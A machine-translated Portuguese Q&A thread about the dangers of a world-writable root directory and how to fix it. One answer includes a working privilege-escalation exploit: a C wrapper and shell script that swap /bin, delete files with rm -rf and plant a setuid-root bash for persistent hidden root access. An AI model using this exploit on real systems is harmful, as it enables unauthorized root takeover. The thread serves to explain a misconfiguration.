☰

/não deveria ser gravável mundialmente

tag-icon • tag-icon permissions security directory
/não deveria ser gravável mundialmente

A maior parte do conteúdo é 755.

Isso é um problema?

Responder1

É interessante que ele /realmente permita 777que permissões sejam definidas nele. A /pasta não deve ter 777permissões, pois isso significa que qualquer usuário logado no sistema pode criar arquivos e pastas no /nível raiz. Eu testei isso em uma VM e vocêNÃO PODEexclua qualquer uma das pastas ou arquivos que não estejam 777sem ser sudo, rootou o owner. As permissões de acesso ainda são seguidas, como se tentar acessar a /rootpasta em si lhe daria permissão negada. No entanto, dito isso, você ainda pode mover a /rootpasta para /root.oldcriar poucos estragos.

Para corrigir isso, você pode executar sudo chmod 755 /para alterar as permissões para o que deveriam ser. Você também pode executar sudo chown root:root /apenas para ter certeza de que ele pertence ao próprio root. NÃO execute nenhum desses comandos com -R, pois isso alterará todos os arquivos e pastas na partição para corresponder às permissões e propriedade.

Espero que isto ajude!

Responder2

/não deveria ser gravável mundialmente

/ser gravável em todo o mundo pode ser umenormeproblema. Com permissões de gravação ativadas /, qualquer usuário pode mover/renomear qualquer arquivo ou diretório em /. Isso significa que qualquer usuário pode substituir /etc, /usrou qualquer outro diretório por /diretórios de sua escolha.

Negação de serviço: trivial

Qualquer usuário pode fazer um DoS trivial em seu sistema, renomeando /etce /usr.

Escalação de privilégios: um pouco menos trivial

É um pouco mais difícil realizar o escalonamento de privilégios. Um usuário pode substituir /binpor sua própria cópia e qualquer processo que tente usar cp, ou mesmoiniciar um shell, estarão imediatamente à sua mercê. Tudo o que o usuário precisa fazer é esperar que um processo em execução como root use qualquer comando /bin, ou que o usuário root use o login, e eles estão dentro.

Exemplo

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

E então:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

E da próxima vez que o root iniciar um shell, você obterá um executável setuid em seu diretório inicial, que poderá usar confortavelmente para obter root sempre que desejar, sem deixar muitos rastros.

Responder3

Não. Não é seguro para /(o diretório raiz) ter 777permissões. Isso significa rwxrwxrwxque cada usuário tem permissão de gravação no diretório raiz.

Com essa permissão, cada usuário poderá criar novos subdiretórios, excluir subdiretórios existentes e substituir subdiretórios existentes. Por exemplo, um usuário mal-intencionado pode excluir /bin(renomeando-o para /bin.old) e criar um novo /binde sua propriedade, contendo executáveis ​​maliciosos. Ou o usuário pode excluir /etc(renomeando-o para /etc.old) e criar um novo /etccontendo um arquivo novo /etc/passwde /etc/shadowque permite ao usuário fazer login em todas as contas do sistema.

informação relacionada